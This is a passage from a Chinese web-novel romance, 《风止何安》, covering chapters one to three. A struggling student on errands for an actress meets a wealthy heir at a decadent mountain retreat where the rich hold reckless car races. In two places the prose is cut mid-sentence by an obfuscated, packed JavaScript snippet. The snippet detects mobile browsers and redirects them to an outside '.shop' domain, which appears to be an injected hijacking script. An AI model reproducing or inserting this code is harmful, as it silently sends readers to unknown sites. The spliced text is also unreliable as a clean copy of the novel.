《风止何安》 1. 01 第一场雪 叶芷安正在撰写小组调研报告,收到盛清月发来的消息,言简意赅地通知她立刻来趟淮山。 饶是叶芷安在北城上了三年学,也没听说过这地方,上网一查,才知道在六环外,再边角不过的荒凉地段。 百度百科上除了人文风光介绍外,找不出其他有效信息,叶芷安只能求助于北城土著,“你知道淮山这地方吗?” 苏念敷着面膜点头,“鸟不拉屎的地儿,给我钱都不去……怎么突然问起这个?” “有人给我一笔钱,让我去这鸟不拉屎的地儿。” “又是盛清月?” 叶芷安嗯一声。 想到叶芷安自己可能都不知道盛清月找她去做什么,苏念就没问,噼里啪啦地发去一通指责:“这都几点了,等你到淮山是明天的事了吧?她也不想想,你一个姑娘,大半夜出门能安全吗?临时生活助理就不是人了吗?要真出了事,她能负责?也就你脾气好,能忍,要是我——” 另一个室友好奇地从遮光床帘中探出半个脑袋,“要是你怎么了?” 苏念没往下接,嘿嘿两声,看着叶芷安利落地换好衣服,忍不住又说:“打车别忘要发票报销,省的便宜了那些吸人血的资本家。” 她其实也想跟去,但以叶芷安的脾性,不会答应。 叶芷安抬起手臂,背对着苏念比了个OK的手势,几秒后,轻轻带上了门。 室友压低的议论声从门后响起:“你不觉得她太拼了?一天除了学习,就是在打工,或者去打工的路上,我都没见她怎么睡过……别说资本家压榨她,我看她都把自己当牛马使了——对了,关于盛清月大明星,我听说她背后有金主的。” “你从哪听说的?” “豆瓣小组啊。” “……” 燕大附近车流量不小,叶芷安很快打到一辆出租车。 听到她要去淮山后,司机露出诧异的神色,“小姑娘,你一个人大晚上的去那儿做什么?荒郊野外可不安全。” 叶芷安领他的好意,嘴角牵出一道柔和的笑,“去那儿找个人,您放心,我也不是毫无准备地去。” 多年后,叶芷安回想起这天晚上的事,后知后觉体会到惧怕的滋味,她想不明白自己当时哪来的底气,敢在晚上十点坐上陌生人的车,再历经两小时车程,将自己送到一个闻所未闻的地方。 靠包里的防身工具吗?还是蹩脚的格斗技巧? 真是毫无道理可言,就像脑袋一热爱上一个人一样,仿佛只是冥冥之中注定的结果。 司机并不健谈,这话题一结束,气氛就冷了下来,等红灯的间隙,他调出一档情感咨询类电台,那晚的主题是暗恋。 开篇引入一小段旁白:【暗恋是一场充满未知的征途,一个毫无道理的迷信,一次自我贬低的审视,即便明知是大错特错,也总叫人心甘情愿地将错就错。】 叶芷安是在这时想起的纪浔也,想起树下那惊鸿一瞥,而那也是他们的唯一一次见面。 她胸口发闷,扭头看向玻璃窗外,还在市区,一派车水马龙的景象。 说来稀奇,北城这地方不大不小,能够谱写出的华丽篇章却是层出不穷,是名利场的缩影,更是舞台剧中爱恨交织桥段的放映,也有生意场上的无形硝烟,化为霭霭白雾,缭绕在城市上空。 两小时后,叶芷安乘坐的这辆出租车在距离盛清月发来的定位还有三公里的位置上,被人拦下。 一侧路面整整齐齐地停着一排叫不上名字的豪车,几个装着夹克衫的年轻人高坐车顶,晃动着手里的飘带高喊道:“这儿封路了,你们要是想去山上的别墅,就去坐缆车。” 其中一人给他们指了路。 司机降下车窗,脑袋探出去,“这大半夜的,缆车哪还能在运行?” “这你就甭担心了,有人在那儿管着,保准平平安安给你们送上去。” 司机退回原位,扭头问叶芷安:“姑娘,要不咱回去吧?” 叶芷安摇头,“就送我到缆车那儿吧。” 就在刚才,她给盛清月发去消息,盛清月不至于完全不顾她安危,在微信里告诉她一会儿会有人来接她上山。 将人送到目的地后,司机还是不放心,“姑娘,一定要小心点。” 叶芷安弯起腰说:“谢谢您,您回去的路上也小心点。” 司机望着她清瘦的背影,欲言又止。 淮山是个什么地方? 一群公子哥们纵情声色、逢场作戏的消遣地,玩的闹的再疯些,连命都能抛之脑后。 一下车,叶芷安便被突然聚起的风贯穿身体,彻骨的寒凉将她神经拉扯得一抽抽的疼,喉咙也不好受,虽没到卡血的程度,涨痛感却强烈,像经历过一场漫长而艰辛的赛跑。 她从兜里摸出润喉糖,塞进嘴巴,不知道是不是心理作用,干涩的嗓子好受些。 盛清月叫来的是个女人,看着四十出头,沉默寡言到两个人坐上缆车后都没有完成一次顺利的对话,全凭手势交流。 叶芷安有轻微的恐高症,隔了近两分钟,才敢往外看,稀疏灯火掩映下,勉强看清淮山的全貌。 山路蜿蜒,蛇身一样盘桓交错着,夜晚雾气重,风一停,就积聚在一处,从高空看,雾蒙蒙的。 叶芷安没开过车,也知这样的路相当考验司机的驾驶技术,更别提在这上面疾驰。 正这么想着,引擎的轰鸣声撞入耳膜,她一垂眸,看见两辆车闪电般地划过,车尾交替一甩,成功过弯,碎石子滚落悬崖之下。 ——是非常玩命的开法。 叶芷安忽然明白为什么要封路了,毕竟这出大戏不是普通人能掺合进的。 两车拐进一个隧道,连着几声巨响后,只出来一辆车,她还想看得更明晰些,缆车先停下,同行的女人朝她递去一个催促的眼神。 叶芷安接收到,快步跟上,东拐西拐一阵,视线里晃进来灯红酒绿的繁华景。 半小时后,叶芷安才知道这地儿还有个名字:蓦山溪。 选自一词牌名,诗词里有句:天涯情绪,对酒且开颜,春宵短。 生怕别人不知道这里是拿来干什么似的。 女人突然停下脚步,往叶芷安手里塞进一张房卡,然后拿出手机,在屏幕上敲打几下,亮给她看。 【这是盛小姐的房卡。】 【在最后面那栋,别走错了。】 叶芷安扫过她喉咙,微微点了下头,看着女人走进第一栋别墅,正要抬脚,有车在不远处停下。 她下意识扭头看去。 不是专用赛车,而是一辆柯尼赛格,至于内里有没有改装过,叶芷安就不清楚了。 回来的只有这么一辆,也就是说刚才那场比赛,是它拔得头筹,但显然也让它受了不轻的伤,两侧车门被蹭掉一大块漆,车前防护横杠掉落,勋章满满。 车上下来个男人,没走远,就倚在车边。 那会叶芷安还没看清他的脸,只能看到他高挺的身型。 也不知道是在天寒地冻里正儿八经地训练过,造就他一副钢铁般的身躯,还是他存心要与这天气负隅顽抗,好让自己看上去标新立异些,身上只穿有一件黑色翻领衬衫,纽扣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135448|150068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还敞开两粒,冷白肌肤上两道锁骨凸起明显。 衬衫下摆松垮,只有一角被攒进皮带里,西装裤裹住两条瘦长的腿,浅口皮鞋上方,伶仃脚踝无处遁形。 就在叶芷安感慨他要风度不要温度时,他的整张脸转了过来,最具标志性的是那双眼,像深邃的海,又似凛冬的夜,浸着刻骨铭心的薄凉,偏偏那一闪而过的眼神,只留下漫不经心的空洞感。 叶芷安很清楚这一刻的他其实尚未注意到她,只是眼风起了一个势,她却还是惊乱得像听到弹弓弦子响中的小雀了。 纪浔也敲出一根烟含进嘴里,脑袋稍低,一手围拢住,将火点上,他眼里的光和烟头一样忽明忽暗。 身后响起另一个男人的嗓音:“怎么就你一辆车过来,李家那孙子呢?” 纪浔也把烟挪开,勾起唇散漫一笑,“折在山洞里了。” 赵泽也抽起烟来,“你是没看到,那孙子的哥刚才看到监控器只有你一个人回来后,脸都黑了。亏他赛前,还信誓旦旦地说他弟这次一定能赢,这下好了,打脸了吧。要我说,人没个几斤几两,就千万别夸下海口,尤其在你面前跟你玩命,纯属自讨苦吃。” 纪浔也不紧不慢地接道:“他玩不起,我也不想收他那条烂命,给他留着呢,不过得在床上待一段时间了。” 明明该端出得胜者耀武扬威的姿态,他的口吻却淡到仿佛在谈论天气那般的无关痛痒,轻而易举掀起旁人心跳的波澜。 叶芷安尝试平复下来,心脏反倒越跳动得更加厉害,甚至快要跳到嗓子眼,生生卡住她的气管,呼吸困难,抑制不住的咳嗽声划破赵泽插科打诨的笑。 一下子变得强烈的存在感招来不少注意力,叶芷安有所预感地重新抬起头,纪浔也指间的猩红已经暗淡,烟雾还在无风的环境里聚集着,片刻萦绕成细细长长的一条。 轻而薄的白色里,他就这么眺过来一眼——是看陌生人的眼神。 实在是毫无征兆,叶芷安不由一惊,险些打了个嗝。 呆愣的模样几分滑稽,赵泽看乐了,转瞬偏头朝向纪浔也。 靠西面花园装着几盏旋转灯,光束落得很远,是倾斜的长条状,颜色各不相同,沉黯的夜被映出五彩斑斓的黑。 从出生就享有得天独厚资源的男人,连光都在眷恋着他,从他脸颊掠过后,又绕了回去,同赵泽的目光一起定格住。 眉骨深,深情的深,嘴唇却薄,薄情寡义的薄,瞧着确实像骗人感情的渣男,骗的还都是像对面这种刚入社会不谙世事的小姑娘。 赵泽越想越好笑,烟也喷得断断续续的,指责的声音却很流畅,“看看你,又把人姑娘吓着了。” 其实他更想直白地用上“骗”这个字。 这话落在另一个人耳朵里,称得上尖锐。 加上“又”这个字用得实在微妙,就像在做实纪浔也“硕果累累”的罪名一般,叶芷安莫名觉得自己也成了他花名册上可供挑选的一页。 耳垂的热度迅速退减,心脏也在笔直地下坠,眼见快要摔了个稀巴烂,先被他的声音接住:“那你倒是问问,我吓着她什么了?” 纪浔也若有若无地有笑了一下,笑声很轻,却透着一股足够令人怦然心动的慵懒,就和他此刻的站姿一样。 依旧没骨头似的,倚靠在车门上,绸缎面料的衬衫,质感柔滑垂顺,经不起风的撩拨,轻轻一拂,就鼓起一个角。 这风到最后灌进叶芷安的喉管里,起初她能感受到的是茶的苦涩,一番回味后,竟也能品出丝缕的甜腻。 四年不见,她好像还是很喜欢他。 2. 02 第一场雪 叶芷安意识游离了会,回笼的下一秒,听见赵泽不依不饶地追问:“妹妹,你说说,他怎么欺负你了?” 说说? 她要怎么说? 叶芷安伶牙俐齿的本性仿佛被羞怯打上禁条,不知道怎么往下接是最合适的,在她迷茫的间隙,纪浔也没挪开投落在她身上的目光。 他的姿态还是那样,慵懒又居高临下,但不含任何让人不适的审视感。 就在叶芷安心怀忐忑准备撤回视线前,她先注意到他那双漂亮风流的桃花眼眯起些,不过片刻恢复如初。 恰恰就是这小幅度的神态变化,让她心脏又一次无所适从地在胸腔里狂跳。 手机在掌心震动两下,她一个慌乱差点没接住,摁下接听键后,盛清月的声音传来:“先来二栋。” “好的。”她轻声回了句,收起手机后鼓足勇气问:“请问你们知道二栋怎么走吗?” 她想听到的是纪浔也的声音,然而回答的却是赵泽,他指了指右侧那条小径,“沿着这路走,梅花开得最旺的那排就是。” 叶芷安心跳已然恢复到正常节奏,礼貌地点了点头,“我知道了,谢谢你。” 人走后,一根烟很快燃尽,纪浔也没再敲出第二根,将车钥匙抛给赶来的代驾,“先开到停车场。” 赵泽突然来了句:“这小姑娘没见过,谁带来的?” 纪浔也对这个话题不感兴趣,懒洋洋地打了个哈切。 赵泽想起刚才莫名其妙的磁场,“不知道为什么,我总觉得你俩认识。” “要是我没认错,之前我应该是见过她一面,在我小姨那儿。” “这姑娘梦溪镇的?” 纪浔也若有若无地应了声,脑袋里闪现过梦溪镇烟雨濛濛的画面,然后是叶芷安拘谨的模样。 能从中瞧出几分破碎感,至于美感,非要说起来,也有——皮肤底子很好,挑不出什么瑕疵,不做任何谄媚的姿态,和周遭声色犬马之人截然不同,丝毫不显伧俗,眼神纯净,却又不像在象牙塔里被保护久了的人会有的。 后来纪浔也还从她身上品出了一股劲,以至于分开的那几年里,一闻到梅香,他总能想起一句话:遗世而独立。 - 叶芷安以为外面的世界够荒唐了,直到她正式踏进蓦山溪,顿觉自己进入充斥着原始欲望的鸿濛时代。 公子哥们带来的女伴个个打扮得花枝招展,叶芷安还在万花丛中见到几点眼熟的绿,衬衫西裤,款式还是紧身的,招摇过市到恨不得将身上所有资本都袒露在金主的眼皮底下。 当人在阶层里站稳脚跟,又有了权势作为包装,性别就会成为一个相对模糊的概念,就像男人玩女人,兴致来了,再玩玩同性,女人同样也可以不把男人当成人看,达成阶级社会资本压榨的另一成就。 没什么好稀奇的。 有人将筹码甩到扑克桌上,“今天不赌,改成拼酒,一瓶二十万起步,你们喝多少酒,就拿多少钱。” 称不上一呼百应,但也有不少人凑了过去,对钱感兴趣是其次,更重要的是相互间存了较劲的心思,想着赢一把好博金主一乐。 李明宗在电话里询问完弟弟情况,扬着嗓门喊了句:“谁看见纪二了?这都多久了还不过来,是怕我跟他算伤阿睿的账?” 他笑得阴狠,诨话张嘴就来,“挺行啊,下面起不来,脑袋也往里缩,这不妥妥一缩头龟?” 话音刚落,纪浔也就出现了。 周遭霎时一片阒然。 李明宗敛了几分笑,“纪公子,一会儿开上你那辆半残的车,玩点别的怎么样?” 纪浔也定定看向李明宗,“你想玩什么?” “这样,我们各自找个人,以过百码的速度冲过去,看停下时谁离他们更近,就算谁赢。” 这也是玩命的开法,只不过玩的是别人的命。 “你确定要跟我玩车?”纪浔也脸上不见多余情绪,“我怎么听说你前年出过车祸后,现在连握方向盘手都会抖。” 李明宗嗓音沉了下去,“不用你操心,我会找人来替我跟你比。” “那行,”纪浔也举起酒杯,朝他那一推,“既然你不开车,到时候你就站我前面,看看我会不会送你去陪你弟。” 李家兄弟仗着日益膨胀的家业,行事作风越发猖狂放浪,但纪浔也和赵泽这批人从来没把他放在眼里,毕竟这两人除了一张脸和浅显易懂的心机外,一无是处。 这比赛最后还是没进行下去。 纪浔也给自己找了个位置,巧的是,叶芷安就站在旁边。 她穿得过于简洁,被周围穿金戴银的人一衬,潦草到格格不入。 来这儿的人几乎每人一张房卡,印在上面的数字代表他们的身份,叶芷安手里的“1201”则是—— “陆显带来的?”有人诧异地问。 陆显。 叶芷安听说过这名字,从盛清月嘴巴里,也知盛清月和他另一层不被大众知晓的关系。 “除了他还能有谁?数字又不可能撞上。” 刚才那人笑,“陆显这眼光是越来越不行了,养了个被人玩过的戏子不说,现在就算改了口味喜欢上嫩的女大学生,去艺校找不就行了,非得去垃圾桶里废物回收?” 他说话的声音没有收,再次无遮无掩地飘进叶芷安耳朵里。 她知道的,这是在明目张胆地折辱她,拿她放垃圾看待。 说没有半分羞愤是假的,可她也没法明目张胆地传递出自己的不满。 谁能指望这群含着金汤勺出生的太子爷们,会尊重一个素未谋面、对他们来说又毫无价值的下层人呢? 她能做的,就是在容忍范围内,将自己的存在感压到最低。 那人见她这番低眉顺眼,立刻失了本就不多的兴致,转头和其他人侃起大山。 叶芷安保持着微垂脑袋的姿势,唇角微微弯起,是很细微的松了口气的反应,却被角落里的另一个陌生男人尽收眼底。 她毫无察觉,耳朵里全是纪浔也询问的声音:“就这么受着?” 她愣了几秒,才反应过来他是在跟自己说话,莫名感到委屈,“我总不能为了逞一时之快泼他一脸酒吧,到时候更受罪的肯定还是我。” 纪浔也嘴角擒着极淡的笑,视线落到她身上,灯光下的眼睛自带深情款款的滤镜,“我去替你泼?” 明知他只是脑热说说,叶芷安还是很没出息地乱了呼吸。 她不接这种陷阱题,只问:“你认识盛清月吗?她是我老板,也是她让我来这里的,可是我刚才找遍了二栋,也没见到她人影。” 问完叶芷安就后悔了,他来得比自己都晚,怎么可能知道盛清月的行踪? 结果纪浔也还真知道,单手执机敲了几下屏幕后说:“跟人走了。” 他说了一个叶芷安没听过的名字。 “你确定不是陆显吗?” “来这儿的人,从来没有固定伴侣,换换,权当给自己增添情趣了。” 叶芷安脸白了又白。 她也分不清自己是在担心、心疼盛清月,还是害怕对面这男人也是可以随手交换伴侣的渣滓。 “那你呢?你会吗?” 纪浔也微挑眉梢,“我还没有过女伴呢。” “那男伴呢?” “……” “你看我像有那方面取向吗?” “这个说不准的。”她声若蚊蝇。 纪浔也没听清,但也不好奇她的回答,就没开口让她重复。 叶芷安的睡眠时间一直很少,就算熬到凌晨两三点也很难犯困,加上情况特殊,她一颗心始终高高提着,终于在两个小时后,她接到盛清月的电话,听筒里的声音比从嘴巴里呼出的气息还要轻:“来四栋503。” 叶芷安看了眼正在假寐的纪浔也,小跑着去了这房间,门虚掩着,一打开,宣泄情欲过后的糜烂味道扑面而来,地上还扔着几个用过的避孕|套。 叶芷安下意识屏住呼吸,脚步跟着放轻,越过一地的狼藉后,和靠在床头的盛清月对上视线。 她见过盛清月胃病发作虚弱的样子,却从来没有见过她如此脆弱的一面,脸色白得吓人,文胸肩带松垮地挂在肩上,一点没罩住身上的青紫痕迹,整个人看着就像被风雪打折的玫瑰,绮丽不足,颓然有余。 叶芷安拿出干净衣服,帮她穿好,瞥见她手腕的红印后,一顿,边揉边问道:“是不是很疼啊?” 盛清月稍愣后笑出声。 叶芷安第一次见她笑得如此放纵,不明所以的目光投射过去,盛情月收敛表情,“都看见了这幅乱七八糟的画面,结果你最想问的是这个?” 叶芷安不傻,“我心里有数的,你找我当你的临时生活助理,就是想让我不该问的不要多嘴。” 这几年,叶芷安找的兼职不计其数,偶尔也会去剧组跑跑龙套。三个月前,她在一部古装剧片场见到盛清月,听见她和助理的交谈后,自告奋勇主动上前介绍自己:“你好,我叫叶芷安,是一名准大三学生,学校的课程我差不多都修完了,接下来的时间会很充裕,而且我这个人很能吃苦的,干活也算机灵,以前什么工都打,所以会的东西比别人多……你觉得我可以胜任你的临时生活助理吗?” 两天后,盛清月才给了她回复,一开始叶芷安还以为是自己敢于毛遂自荐的勇气吸引了盛清月的注意力,后来才知在录用她前,盛清月就将她的底细打探个一清二楚,看中的也正是她窘迫的经济现状。 ——她缺钱,偏偏盛清月最不缺的就是钱,两个人之间残缺的那块拼图就是这么合上的。 临时助理的工作并不难,盛清月也很少会让她出现在大众视野里,叶芷安需要做到就是在每一个盛清月需要她的时候,安安静静地出现,安安静静地陪伴一段时间,再安安静静地收拾好烂摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135449|150068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子、隐瞒下眼睛看到的一切肮脏龌龊。 换句话说,盛清月需要的是一个用钱就能堵住嘴巴的工具人。 盛清月认真看向对面的女孩,二十出头的年纪,活得通透却不世故,就像水粉画上最初最干净的那一笔,沾染不上俗世尘埃,却能轻而易举地晕染出春和景明般的秀丽。 和现在的自己是彻头彻尾的两类人。 圈子里的后辈都叫她一声“清月姐”,说足场面话,实际上没人看得起她。 北城上流阶层的人更是,只当她是一个有手段又玩的开、到处攀权附贵的女人,只要资源给得到位,谁都能上。 盛清月仰起头,目光有些失焦。 叶芷安松开她的手,“你今晚就在这儿睡吗?” 盛清月刚张开嘴,房门被人打开,进来一个身形高大的男人。 陆显环视一周,脸色沉得瘆人,眼睛里藏得东西更深,片刻他嘲讽地勾起唇,“摆出这么一副被人玩坏了的样子给谁看?想让人心疼你?可这不是你自找的?” 盛清月捏了下叶芷安的手臂,陆显看在眼里,玩味一笑,又说:“下回没有金刚钻,就别揽瓷器活,不然传出去,丢脸的人是我。” 盛清月忍痛起身,进浴室前被人懒腰抱住,叶芷安愣了下才跟上去,不多时听见盛清月问陆显:“去哪?” “去我那儿,好好给你洗洗。” 盛清月默了默,“送她一程。” 陆显回头睨了眼叶芷安,“不顺路,你让她怎么来的怎么回去。” 盛清月还想说什么,余光扫见叶芷安冲她笑了笑,口型说的是:我可以的。 陆显这趟是自己开车来的,回去坐的却是蓦山溪这边安排的专车,叶芷安目送他们离开,路过停车坪时,看见了陆显那辆卡宴,见四周没人,没忍住上前踹了一脚。 几百万的好车就是不一样,这么一踹,一点没受损,反而把她疼成了表情包。 早知道刚才就拿石头砸了! 叶芷安在原地缓了会,忽然听见一声轻笑,脊背瞬间绷紧,扭过头,视线里进来一截挺阔的身躯,穿得西装革履的,昏黄灯光照拂下的脸,清朗俊秀。 “你是盛清月带来的人?”这人问。 别人都当她是陆显的人,就他与众不同,叶芷安多看他两秒,点头。 “你要去哪,我送你一程。” 叶芷安深谙无功不受禄的道理,更何况她一点儿都不了解这人,就随便扯了个理由离开。 两分钟后,她见到了带她来蓦山溪那女人,女人在屏幕里敲下:【盛小姐让我带你坐缆车下山。】 说曹操曹操就到,转头叶芷安就收到盛清月的消息:【给你放一周假。】 底下还附上一条转账,足足三万块钱。 这笔钱对盛清月而言不过是洒洒水,更何况自己也付出了时间和精力,叶芷安做不到感恩戴德地收下,但也一本正经地用语音回了声“谢谢”,然后敲下: 【这几天你要照顾好自己。】 【睡不着也别吃太多褪黑素,这东西对身体不好……前天晚上我去你那儿,顺路买了些助眠香薰,你可以试试,还有,你可以多听听一些电台节目,或者曲调柔和的轻音乐。】 叶芷安又花了几分钟,把自己收藏的电台和音乐整理成链接的形式发送给她,快下缆车前,收到盛清月不冷不热的一句回复:【我知道了。】 盛清月还给叶芷安叫了辆车,然而半路出了点小意外,司机受到轻微脑震荡,被送到医院。 叶芷安只能自己重新叫车,等了差不多十几分钟,眼皮落下冰冰凉凉的触感。 这雪下得实在突然,等她找回游离的思绪,漫天都是白茫茫的雪碴子,顺着她微敞的围巾往下钻,很快被体温融化,整个人像泡在冰水里,一阵瑟缩。 为了这三万块钱,她今晚受的罪也太多了。 可要问她后不后悔来这一趟—— 叶芷安脚步突然轻盈了些,直到遥遥驶来一辆车将她逼停。 银灰色的阿斯顿马丁,车窗降到最低,坐在驾驶室的男人手臂搭在窗沿上,手掌呈松散状态下垂,手指很长,指甲修剪得干净整洁,指骨寸寸分明,腕上戴着一块大表盘机械表,皮质表带隔断青筋血管的延伸。 他的脸笼着金赭色的光,显得笑容看上去不太真切,像阴天沉重的雾,也像这皑皑的雪,嗓音更是清淡,仿佛只是随口一提:“这边不好打车,上来,我送你。” 这是今晚的第三次见面,每次都叫她始料未及。 叶芷安恨不得让雪下得更大些,好让那层白色盖住她脸上所有外泄的情绪。 她暗暗吸了口气,鼻腔扑进繁杂的香水味道,是他们在蓦山溪沾上的,闻久了,总叫人恶心。 数秒没等来她的回应,纪浔也耐心少了一半,瞥见她呆愣的模样,难得又觉有趣,于是用故作熟稔的语气问道:“真不记得我了?” 3. 03 第一场雪 在叶芷安的记忆里,梦溪镇很少下雪,四年前的冬至是第四次。 下了一夜的雪停歇过后,堆积在各个角落,视野所及之处,白茫茫的一片。 风也不小,穿过光秃的枝桠,雪花扑簌簌地往下落,她抱着一沓资料推开虚掩的棕褐色木门,唤了声“秦老师”。 没得来任何回应,只有红梅底下侧转过来的身影,高挺瘦直,罩一袭灰色羊绒大衣,压下满院的艳丽,平添肃清之意。 和今晚的再见一样,一开始她也没看清他的脸,只觉这人气质斐然孤傲,隐隐带着一种零落成泥自毁般的悲怆。 她讷讷开口问:“请问你是?” 他整张脸转了过来,比想象中的还要清隽,薄情寡义就此具像化,“应该是你口中秦老师的外甥。” 什么叫应该? 这人是来认亲的? 叶芷安满头雾水的空档,对面的人朝她扯开一个笑,“秦老师今天不在,你还是改天再来吧。” 挺程序化的笑容,却是她见过所有男性里笑得最漂亮的,具备极富侵略性的迷人。 等他浸着光的眼神不带任何折衷地望过来,她怀里的资料差点掉落在地,嘴巴倒吸进一股寒气,一下子冻的她喉管都发颤,重重咳了几声。 虽然那会她看不见自己的脸,但不难猜出生理和心理双重作用下会变得多红。 她莫名不想让他看见自己这副狼狈的样子,丢下一句“那我明天再过来”,仓皇逃离。 回家的路上,雪又开始下起来,一沾上她滚烫的耳廓,消融到瞬间没了踪迹,只剩下寥寥的雾色,悄无声息地钻进她的大脑和心肺。 以至于后来很长一段时间,旁人一提起雪天,她就想起了他。 等到他们在一起又分手后,她才意识到比起外在上的一见钟情和他天生勾人的一把好嗓,他更让她迷恋的是他身上不经意间流露出的惫懒和松弛,一种游戏人间的态度。 而这些恰恰是她逼仄忙碌人生中不曾拥有过的奢侈品。 叶芷安的腰背早在他那声落下前就绷直成了铁片,她费了好大劲才弯下点,然后从哑涩的喉咙里挤出故作自然的一声:“我记得啊,我们刚才还在蓦山溪见过。” 纪浔也想说的不是这个,但不管对面是真不记得四年前那一面还是装不记得,都不是他在意的事,无所谓笑笑,“上车,送你回去。” 叶芷安不着痕迹地攥了下包袋,点头。 那声“好”应得实在太轻,纪浔也没听见,眼睛里只有她僵硬的步伐。 也就那么几米路,被她走出山水迢迢的漫长感。 他一阵好笑,手掌懒洋洋地支住脑袋说:“放心,我确实不是什么爱做慈善的好人,不过也没坏到那么彻底。” 说是送她一程,就真的只是送她一程。 叶芷安眼睫一颤,解释道:“我没有不情愿,刚才只是在想,要是我坐在后面,你会不会生气?” “嗯?” 纪浔也一时没听明白。 “我怕你误会我把你当成司机用。” “我虽然不够大度,但也犯不着为这点小事生气,”他手指轻轻敲了两下方向盘,“就按你喜好和习惯来。” 如果是习惯,坐后面会更让她舒心,可如果是喜好—— 叶芷安拉开副驾驶车门,给自己系上安全带后,余光撞进来他玩味的神情,故作平静地开口:“我有点晕车,坐前面会舒服些。” 纪浔也懒得去掂量这话几分真几分假,拉手刹调档的同时问:“回哪?” “燕大。” 纪浔也反应平淡,“这个点回去,宿舍能进去?” 叶芷安犯傻忘了这茬,转头听见他又问:“我住的酒店离燕大很近,还是套房,你要来吗?” 她脑袋里有什么东西炸开。 怎么可以有人说起这话就跟谈论天气一样? 叶芷安的心七上八下的,嗓音也有些磕巴,“不用了,燕大附近有24h自习室,我可以去那儿待到寝室开门。” 见她不愿,纪浔也也不强求。 没几分钟,有电话进来,他找到蓝牙耳机戴上,“迷上了戏子?电视机里的,还是戏台上的?” 叶芷安没听清耳机里的声音,甚至都不知道对方是男是女,只听见纪浔也这么一句回复,腔调拖得很长很慢,不屑和嘲弄包含其中,与生俱来的矜贵藏不住。 最让她诧异的是,他就这么当着她的面聊了起来。 是把她当成不需要避讳的自己人,还是压根没把她的存在当回事? 叶芷安觉得后者的可能性达到了百分百。 纪浔也并未察觉到身旁人的情绪,冷笑一声,“男人能有什么好货色?他一面在外招蜂引蝶,一面看你吃醋狂怒,只不准心里有多爽快……反正你也不爱他,只是咽不下那口气而已,在乎他就是给他脸……再这样下去,小心迟早有天,你用嫉妒给他化成一座金身,自己反倒成了自身难保的泥菩萨,别说长江,你连永定河都渡不过,平白叫人看了笑话。” 他后来还说了什么,叶芷安没什么心思听,只有分出去的眼神会时不时落在他身上,他换了件衬衣,黑白扎染的款式,黑色晕开的部分有点像墨汁滴到清水中自然扩散的模样。 挂断电话后,纪浔也摘了耳机,随手抛到扶手箱,抿着唇不言不语。 长达二十分钟的毫无交流,显得车窗外的动静都比车里的大,叶芷安不至于感到压抑和惶恐,只觉自己变成了侏罗纪时代遗留下来的化石,硬邦邦的,能看清旧时的面貌,却捕捉不到一丝鲜活的生气。 “后面有个白色纸袋,你把里面的衣服拿出来。” 声音起得毫无征兆,叶芷安没收住呆愣的反应,“你在和我说话吗?” “车上还有第三个人?” 叶芷安瓮声瓮气:“哦。” 她侧过身去捞,不期然变近的距离和对方身上传来的气息,让她的动作变得越来越笨拙,几秒后,耳膜有声音撞了进来,“够不到?” 纪浔也停下车,侧过脑袋,浑然不知自己的呼吸刮擦过叶芷安耳廓,长臂一伸,轻而易举地取到那袋子,塞进她怀里。 叶芷安捏捏耳垂,“这是给我的?” “是我的衣服,没穿过的,你拿它当毯子盖会。”纪浔也说,“说要送你一程,总不能把你给冻着了。” 可空调开着,她不冷呀。 仿佛看穿她的想法,纪浔也敲着方向盘补上一句:“你现在是不冷,但一会儿我要开窗了。” 外面是零度的天,他还真怕灌进来的风把她吹傻。 叶芷安关心的点却是:“那你呢,你穿得比我还少,不冷吗?” 他回得简单,“熬得住。” 叶芷安不再多说,默默心里计算着他吹风的时间,也不知是不是顾及到了她,十分钟不到,他就收走了撑在窗沿上的手臂,将车窗玻璃升到顶。 纪浔也忽然想到一件事,“袋子里是不是还有盒巧克力?” “有,你要吃吗?” “不吃,送你吧。” 没听见她的回复,纪浔也问:“不爱吃巧克力?” “爱吃的。”她的声音很轻,片刻扔过去一个相同类型的问题,“你喜欢赛车吗?” 纪浔也答非所问:“今晚在淮山的可不叫赛车。” “那叫什么?” “用来打发时间的过家家。” 叶芷安想起几小时前坐在缆车上时,看到的底下那惊心动魄的一幕,忍不住问:“我来的时候,看见你和另一辆车开进一个隧道,但出来的只有你一个人,你们在里面发生了什么?” 纪浔也短暂回忆了下,“没什么,玩命的事。” 李家那小儿子事先在山洞里准备好两辆车,一左一右埋伏着,就等着他开进来好玩夹击那套,他险些中招,好在他们惜命,而他最不在乎的就是命,不管不顾起来没人能疯得过他。 那两个字本身足够吓人,但经由他轻描淡写的话腔说出,好像也就是那么一回事。 “可你刚才不是说赛车对你来说是过家家?” “对我来说是这样,可对别人来说,和玩命没什么区别。” 纪浔也又开了窗,单手虚握成拳头,抵在左边太阳穴,边说边打了个哈气。 叶芷安捕捉到,“你困了?” 他今晚第二次对她来了句放心,“还不至于疲劳驾驶,两小时后一定给你平安送到目的地。” 叶芷安微微点头,快开到燕大前,她才又开口:“对了,你叫什么名字?” 事实上,早在她四年前见到他时,她就已经听说过他的名字。 “纪浔也,纪念的纪,碧浔的浔,也许的也。” “''城府开清旭,松筠起碧浔''的浔?”她偏要用自己的见解反问一句。 “对。” 车辆停下,叶芷安将外套叠拢好,装回袋子里,打开车门前郑重其事地道了声谢,“谢谢你,纪先生。” 旁人都叫他纪公子,只有她称他先生。 